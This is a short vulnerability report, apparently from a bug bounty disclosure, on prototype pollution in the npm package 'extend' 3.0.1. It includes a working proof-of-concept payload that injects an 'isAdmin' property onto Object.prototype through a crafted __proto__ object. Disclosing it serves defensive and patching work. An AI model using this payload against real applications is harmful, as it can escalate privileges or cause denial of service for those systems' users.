I would like to report prototype pollution in extend
It allows an attacker to inject properties on Object.prototype.
module name: extendversion:3.0.1npm page: https://www.npmjs.com/package/extend
node-extend
is a port of the classic extend() method from jQuery. It behaves as you expect. It is simple, tried and true.
> Note: The github project is called node-extend
but the NPM package is just extend
7M downloads in the last week
This is a variant of this vulnerability:
https://hackerone.com/reports/310443
The extend
function can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
Craft an object of form {__proto__: {...}}
and send it to extend(true, {}, ...)
.
let extend = require('extend');
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
extend(true, {}, payload);
console.log({}.isAdmin); // true
Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443